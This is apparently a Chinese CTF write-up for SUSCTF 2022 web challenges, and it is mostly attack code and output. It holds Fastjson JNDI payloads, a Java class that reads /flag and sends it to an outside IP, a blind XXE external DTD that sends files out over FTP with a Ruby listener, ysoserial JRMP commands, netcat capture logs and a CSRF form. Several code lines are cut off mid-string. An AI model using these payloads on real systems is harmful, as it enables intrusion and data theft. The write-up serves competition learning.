SUSCTF 2022 Writeup by Dest0g3 Team

原创 Dest0g3 Dest0g3 Team 2022-03-01 15:26

太赤鸡了

Web

baby gadget v1.0

环境奇怪1.2.24的poc都可以打。。。

```
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0
```

最开始还把这个题想复杂了，以为是tomcat搭建el表达式直接绕过。但是想一想xctf比赛应该不会是简单的el绕过。所以拿出自己的0day去打反序列化绕过。之后执行命令失败就应该是设置了sm，所以去读一下文件就欧克了。然后直接带出来就欧克了。

```
static {
        String flag ="";
        try {
            BufferedReader in = new BufferedReader(new FileReader("/flag
            flag = in.readLine();;
        } catch (FileNotFoundException e) {
            e.printStackTrace();
```

```
        } catch (IOException ex) {
            ex.printStackTrace();
        }
        String url = "http://1.116.136.120:8989/?flag=" ;
        ScriptEngine engine1 = new ScriptEngineManager().getEngineByExte
        try {
            engine1.eval("load('"+url + flag + "')");
        } catch (ScriptException e) {
            e.printStackTrace();
        }
    }
```

理论上：el表达式肯定可以打，不想尝试了

baby gadget v1.0's rrevenge

这个题可能又环境配置错了？以为是需要挖0day去写文件。。。结果测试了一下网上的poc，而且是在开启了autotype 的情况下。。。

```
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap:/
```

居然可以打，奇怪吧？！

然后用0day反序列化打。

```
atao@iZbp1gp3c2o5xnc5d2nd7aZ:~$ nc -lvnp 8989
Listening on 0.0.0.0 8989
Connection received on 124.71.187.127 52052
GET /?flag=SUSCTF{FastjSON_Revenge_1s_find_A_new_gadGet_} HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_181
Host: 47.98.170.59:8989
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
```


baby gadget v2.0

可能出题人又配置错了环境。

第一步xxe读文件

https://blog.csdn.net/qq_33020901/article/details/79718048

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://1.116.136.120:1111/evil.xml">
%remote;]>
<user>
<number>
a
</number>
<name>
&xxe;
&aaa;
</name>
</user>
```

evil.xml

```
<!ENTITY % file SYSTEM "file:///hint.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'ftp://1.116.136.120:8080/%file;'>
%int;
%send;
```

1.rb

```
require 'socket'
server = TCPServer.new 8080
loop do
  Thread.start(server.accept) do |client|
    puts "New client connected"
```

```
    data = ""
    client.puts("220 xxe-ftp-server")
    loop {
        req = client.gets()
        puts "< "+req
        if req.include? "USER"
            client.puts("331 password please - version check")
        else
           #puts "> 230 more data please!"
            client.puts("230 more data please!")
        end
    }
  end
end
```

之后打反序列化

```
public submitUrl(Ljava/lang/String;)V throws java/io/IOException java/lang/ClassNotFoundException
   // parameter  request
 @Lorg/springframework/web/bind/annotation/ResponseBody;()
 @Lorg/springframework/web/bind/annotation/PostMapping;(value={"/bf2dcf6664b16e0efe471b2eac2b54b2"})
  // annotable parameter count: 1 (visible)
  @Lorg/springframework/web/bind/annotation/RequestBody;() // parameter 0
 L0
  LINENUMBER 66 L0
  NEW sun/misc/BASE64Decoder
  DUP
  INVOKESPECIAL sun/misc/BASE64Decoder.<init> ()V
  ASTORE 2
 L1
  LINENUMBER 67 L1
```


黑名单

```
ANEWARRAY java/lang/String
DUP
ICONST_0
LDC "java.util.Hashtable"
AASTORE
DUP
ICONST_1
LDC "java.util.HashSet"
AASTORE
DUP
ICONST_2
LDC "java.util.HashMap"
AASTORE
DUP
ICONST_3
LDC "javax.management.BadAttributeValueExpException"
AASTORE
DUP
ICONST_4
LDC "java.util.PriorityQueue"
```


尝试用jrmp打居然通了。。。。。。。。

```
java -jar ysoserial-master.jar JRMPClient "1.116.136.120:1099" |base64 -w

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollecti
```

```
root@VM-0-8-ubuntu:/home/ubuntu/xxe# nc -lvp 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from ecs-124-71-189-248.compute.hwclouds-dns.com 33206 received!
POST / HTTP/1.1
User-Agent: curl/7.29.0
Host: 1.116.136.120:2333
Accept: */*
Content-Length: 76
Content-Type: application/x-www-form-urlencoded

Congratulations! There is flag: SUSCTF{Blind_xxe_and_jdk_unser1alize_is_f4N}
```


正常的话需要挖链子不过我感觉问题不大。。。。而且8u191理论上有jep290.....奇怪了

baby gadget v2.0' revenge

和前面的一模一样，《可能》出题人又配置错了环境。

第一步xxe读文件

https://blog.csdn.net/qq_33020901/article/details/79718048

之后打jrmp反序列化，不知道环境为什么还没有fix好。。。

正常的话需要挖链子不过我感觉问题不大。。。。而且8u191理论上有jep290.....奇怪了

> 参考：
>
> https://www.mi1k7ea.com/2021/02/08/Fastjson%E7%B3%BB%E5%88%97%E5%85%AD%E2%80%94%E2%80%941-2-48-1-2-68%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
>
> https://github.com/Firebasky/Fastjson

fxxkcors

参考：https://blog.azuki.vip/csrf/

```
<html>

<form id=x action="http://124.71.205.122:10002/changeapi.php" method="po
        <input type="text" name='{"'
                value='":"","username": "fmy"}'/>
    <input type="submit" value="ss">
```